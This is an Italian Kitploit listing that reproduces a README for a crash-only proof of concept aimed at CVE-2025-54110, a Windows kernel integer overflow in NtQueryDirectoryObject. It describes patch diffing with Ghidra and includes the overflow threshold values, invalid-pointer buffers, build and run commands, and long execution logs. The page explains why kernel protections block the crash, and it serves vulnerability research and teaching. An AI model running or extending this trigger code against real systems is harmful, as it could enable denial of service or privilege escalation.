Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-54110-Kernel-EoP-PoC — Data del progetto : Ottobre 2025 / Implementazione PoC per CVE-2025-54110 una vulnerabilità di overflow di interi a livello kernel nella chiamata di sistema Windows `NtQueryDirectoryObject`. | Kitploit
Strumenti/GitHubGitHub/canomer/cve-2025-54110-kernel-eop-poc
Analisi delle VulnerabilitàExploitReverse EngineeringPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubcanomer/cve-2025-54110-kernel-eop-poc

CVE-2025-54110-Kernel-EoP-PoC

Data del progetto : Ottobre 2025 / Implementazione PoC per CVE-2025-54110 una vulnerabilità di overflow di interi a livello kernel nella chiamata di sistema Windows `NtQueryDirectoryObject`.

Vedi Repository
11134 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-54110-Kernel-EoP-PoC

Implementazione del PoC per CVE-2025-54110, una vulnerabilità di overflow di interi a livello kernel nella chiamata di sistema Windows NtQueryDirectoryObject.

CVE-2025-54110 - Analisi dell'overflow di interi del kernel Windows

CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110

Questo repository contiene un PoC solo crash per la vulnerabilità di EoP del kernel CVE-2025-54110, sviluppato esclusivamente per ricerca sulla sicurezza, reverse engineering e ricerca sullo sviluppo di exploit. Questo codice è inteso per dimostrare tecniche di ricerca sulle vulnerabilità tra cui:

  • Binary diffing con Ghidra Version Tracking
  • Analisi del Patch Tuesday di Windows
  • Metodologie di ricerca sulle vulnerabilità del kernel
  • Analisi del comportamento della gestione strutturata delle eccezioni (SEH)

Questo PoC NON raggiunge l'escalation dei privilegi o un BSOD affidabile. È progettato per attivare in modo sicuro violazioni di accesso che vengono intercettate dalle protezioni del kernel di Windows.


Panoramica

CVE-2025-54110: Vulnerabilità EoP del kernel Windows

Data di pubblicazione: Settembre 2025 (Patch di sicurezza del Tuesday di Windows)

ProprietàValore
CWECWE-190: Integer Overflow o Wraparound
Punteggio CVSS 3.18.8 (Alto) / 7.7 (Temporale)
Stringa del vettoreCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C
Vettore di attaccoLocale
Complessità dell'attaccoBassa
Privilegi richiestiBassi
Interazione dell'utenteNessuna
AmbitoModificato
RiservatezzaAlta
IntegritàAlta
DisponibilitàAlta
Maturità dell'exploitNon provata

Riepilogo esecutivo

Una vulnerabilità di overflow di interi nel kernel Windows consente a un utente malintenzionato autenticato di potenzialmente elevare i privilegi localmente. Secondo l'avviso di Microsoft:

"Un utente malintenzionato potrebbe sfruttare questa vulnerabilità inviando input appositamente progettati da un processo in modalità utente in sandbox per attivare un overflow di interi, con conseguente overflow del buffer nel kernel e consentendo l'escalation dei privilegi o la fuga dalla sandbox."

Impatto potenziale

  • Un utente malintenzionato riuscito potrebbe ottenere privilegi di SYSTEM
  • Escape dalla sandbox da processi limitati in modalità utente
  • Corruzione della memoria del kernel che porta all'esecuzione di codice

Valutazione della sfruttabilità

  • Divulgato pubblicamente: No
  • Sfruttato in natura: No
  • Valutazione Microsoft: Sfruttamento più probabile

Metodologia di ricerca

1. Flusso di lavoro dell'analisi delle patch```

Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison

root@kitploit:~
### 2. File Analizzati

L'analisi iniziale si è concentrata su due componenti principali del kernel:

#### win32k.sys (-)
- **Risultato:** Nessuna modifica significativa rilevata
- **Intervallo di Punteggio:** 0.97-1.0 (alta similarità)
- **Conclusione:** Non è il componente vulnerabile per CVE-2025-54110

#### ntoskrnl.exe (+)
- **Risultato:** Multiple funzioni con modifiche significative
- **Intervallo di Punteggio:** Funzioni con punteggi ≤0.951
- **Differenze di Lunghezza:** Rilevate variazioni di lunghezza in byte tra Source e Destinazione
- **Totale Elementi Esportati:** 2,036 funzioni per l'analisi

### 3. Risultati del Tracciamento delle Versioni con Ghidra

Campione delle modifiche identificate in `ntoskrnl.exe`:

| Punteggio | Confidenza | Lunghezza Source | Lunghezza Dest | Funzione Source | Funzione Dest |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## Dichiarazione PoC

### Approccio Tecnico

Il PoC (`precise_overflow_bsod.c`) tenta di innescare la vulnerabilità di integer overflow tramite:

1. **Calcolo Preciso della Soglia:** `0xfffffdbc` (derivato da base=0x20, name=0x200)
2. **API NtQueryDirectoryObject:** Funzione target per innescare l'overflow
3. **Strategia di Attacco a Fasi Multiple:**
   - Fase 1: Tentativi di integer overflow di precisione
   - Fase 2: Bersaglio sulla memoria del kernel
   - Fase 3: Sfruttamento multi-thread

### Struttura del Codice```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

Vettori di sfruttamento testati```

NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state

root@kitploit:~
---

## Perché il PoC non causa il crash del sistema

### Risultati effettivi

Il PoC restituisce costantemente `STATUS_ACCESS_VIOLATION (0xC0000005)` senza causare un Blue Screen of Death (BSOD). Questo è **voluto** e dimostra diversi meccanismi critici di sicurezza del kernel di Windows:

### 1. Structured Exception Handling (SEH)```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

Perché funziona:

  • Le syscall del kernel Windows avvolgono l'accesso ai puntatori in modalità utente in gestori di eccezioni
  • Gli accessi a memoria non validi vengono catturati anziché propagati
  • Il sistema restituisce un codice di errore al chiamante invece di crashare

2. SMAP (Supervisor Mode Access Prevention)

Funzione moderna della CPU che impedisce alla modalità kernel (Ring 0) di accedere alla memoria in modalità utente (Ring 3) senza autorizzazione esplicita:``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler

root@kitploit:~
**Impatto sul PoC:**
- Anche se si verifica un overflow, l'accesso diretto alla memoria dal kernel all'utente è bloccato
- Impedisce lo sfruttamento delle vulnerabilità di dereferenziazione dei puntatori

### 3. KASLR (Randomizzazione del layout dello spazio degli indirizzi del kernel)```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

Perché il BSOD non si verifica:

  • Il PoC utilizza indirizzi/soglie statiche
  • Le strutture reali del kernel si trovano in posizioni randomizzate
  • Le scritture mancano i target critici (es. EPROCESS, Pool Headers)

4. Controlli di Integrità del Pool del Kernel

Windows 10+ implementa il rilevamento avanzato della corruzione del pool:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally

root@kitploit:~
---

## Analisi dell'output di esecuzione del PoC

### Output previsto

Vedere `STATUS_ACCESS_VIOLATION (0xC0000005)`, poi è ok.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>
image

Esperimento Verbossed```

C:\Users\reLab\Desktop\cve>.\poc64_verbose11.exe

CVE-2025-54110 PRECISION INTEGER OVERFLOW BSOD EXPLOIT Threshold: 0xfffffdbc (base=0x20, name=0x200) !!! WARNING: HIGH PROBABILITY OF SYSTEM CRASH !!!

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444

[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc

[+] Exploiting all directories with precise threshold...

[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...

root@kitploit:~
### Comportamento osservato```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

Codice di stato: 0xC0000005 = STATUS_ACCESS_VIOLATION

Cosa Significa

AspettoInterpretazione
Conferma della vulnerabilità(+) Il percorso del codice raggiunge la funzione vulnerabile
Validazione dell'input(!) L'input creato innesca un comportamento anomalo
Stabilità del sistema(+) SEH previene il crash; il sistema rimane stabile
Raggiungimento del DoS(-) Nessun BSOD; gestione delle eccezioni riuscita
Raggiungimento dell'EoP(-) Nessuna escalation dei privilegi; fallimento controllato

Criteri di Successo per Obiettivo```

┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘

root@kitploit:~
---

## Valore Educativo

### Cosa Dimostra Questo PoC

#### Risultati

1. **Metodologia di Patch Diffing**
   - Confronto di binari pre/post-patch usando Ghidra
   - Identificazione di funzioni modificate tramite version tracking
   - Analisi di metriche di similarità basate su punteggio

2. **Architettura del Kernel Windows**
   - Comprensione del flusso di syscall (`NtQueryDirectoryObject`)
   - Riconoscimento dei confini kernel/modalità utente
   - Apprendimento delle funzioni interne di NTAPI

3. **Comportamento dei Meccanismi di Sicurezza**
   - SEH in azione: eccezione catturata vs. crash di sistema
   - SMAP che impedisce l'accesso non autorizzato alla memoria
   - KASLR che sconfigge lo sfruttamento di indirizzi statici

4. **Processo di Ricerca delle Vulnerabilità**
   - Analisi CVE e raccolta informazioni
   - Reverse engineering delle modifiche binarie
   - Verifica di ipotesi attraverso tentativi controllati di sfruttamento

#### Limitazioni

1. **Le Protezioni Moderne del Kernel Sono Efficaci**
   - Semplici tentativi di overflow sono insufficienti
   - È necessario bypassare più livelli di difesa
   - La sola analisi statica non può predire lo sfruttabilità

2. **Divario tra Teoria e Pratica**
   - L'integer overflow esiste (teorico)
   - Lo sfruttamento pratico richiede:
     - Divulgazione di informazioni (leak di indirizzi kernel)
     - Heap shaping/Feng Shui
     - Catene ROP o altre primitive di esecuzione codice
     - Bypass di DEP, CFG, HVCI, ecc.

---

## Funzioni Prioritarie per l'Analisi

Basandosi sulle caratteristiche di CVE-2025-54110 (Integer Overflow → Buffer Overflow nel Kernel), dare priorità alla revisione delle funzioni nel CSV esportato che gestiscono:

### Categorie ad Alta Priorità```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

Strategia di Filtraggio per 2.036 Funzioni

Passo 1: Filtro Basato sul Punteggio``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)

root@kitploit:~
**Passaggio 2: Ricerca per parola chiave**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

Passo 3: Analisi Incrociata``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]

root@kitploit:~
**Passaggio 4: Cambiare Magnitudine**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

Compilazione ed Esecuzione

Prerequisiti```

  • Windows 10/11 (x64)
  • Visual Studio 2019+ or MinGW-w64
  • Administrator privileges (for syscall access)
root@kitploit:~
### Compilazione```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE

INPUT:```bash

Using MinGW

gcc precise_overflow_bsod.c -o poc64.exe -lntdll

root@kitploit:~
### Esecuzione```powershell
# Run with admin privileges
.\poc64.exe

Output Previsto:``` [+] Current user: DESKTOP-XXXXXXX\user [+] Current PID: 1234 [!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [+] System is still running - protections may be active.

root@kitploit:~
---

## Risorse e Riferimenti

### Fonti Ufficiali

- [Microsoft Security Advisory - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: Integer Overflow o Wraparound](https://cwe.mitre.org/data/definitions/190.html)
- [Windows Kernel Internals - Documentazione Microsoft](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### Strumenti di Ricerca

- [Ghidra - Suite di Reverse Engineering NSA](https://ghidra-sre.org/)
- [WinDbg - Strumenti di Debugging Windows](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### Letture Correlate

- [Sviluppo Exploit per Kernel](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Exploitation del Kernel Windows](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Patch Diffing con Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## Disclaimer Legale

Questo codice è fornito SOLO A SCOPO EDUCATIVO.

NON utilizzare questo codice per:

• Accesso non autorizzato a sistemi informatici

• Attacchi dannosi o danneggiamenti

• Attività illegali


L'autore NON si assume alcuna responsabilità per un uso improprio.
Gli utenti devono rispettare tutte le leggi applicabili.

**Usando questo codice, riconosci:**

1. Di avere l'autorizzazione per testare sui sistemi target
2. Di comprendere le implicazioni legali nella tua giurisdizione
3. Di accettare piena responsabilità per le tue azioni
4. Che questo serve per imparare, non per attività dannose

---

## Disclaimer Legale
Questo repository è fornito rigorosamente a scopo educativo, ricerca difensiva sulla sicurezza e riproduzione di vulnerabilità in ambienti di laboratorio controllati.
Le informazioni e il codice proof-of-concept sono intesi ad aiutare difensori, ricercatori e fornitori a comprendere e correggere la vulnerabilità segnalata.
L'uso non autorizzato o dannoso di questo codice su sistemi senza esplicito permesso potrebbe violare leggi e regolamenti applicabili.
L'autore non incoraggia né approva attività illegali e non si assume alcuna responsabilità per usi impropri o danni causati da questo materiale.

Questo report di divulgazione della vulnerabilità è fornito per:
1. Ricerca e istruzione sulla sicurezza
2. Notifica al fornitore e sviluppo di patch
3. Protezione degli utenti finali
4. Scopi accademici e di sicurezza difensiva

**Usi Proibiti:**
- Accesso non autorizzato a sistemi informatici
- Sfruttamento dannoso
- Qualsiasi attività illegale

Il ricercatore ha condotto tutti i test su sistemi di sua proprietà in ambienti controllati. Non è stato effettuato alcun accesso non autorizzato a sistemi di terze parti.

**Versione del Report:** 1.0  
**Ultimo Aggiornamento:** 9 Febbraio 2026  

---

## Contatti

Per richieste legittime di ricerca sulla sicurezza o collaborazione educativa:

**Divulgazione Responsabile:**
- Problemi di sicurezza con questo PoC → Apri una Issue su GitHub
- Sfruttamento reale di CVE-2025-54110 → Segnala a [MSRC](https://msrc.microsoft.com/)

---

## Licenza```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.
Scarica lo strumento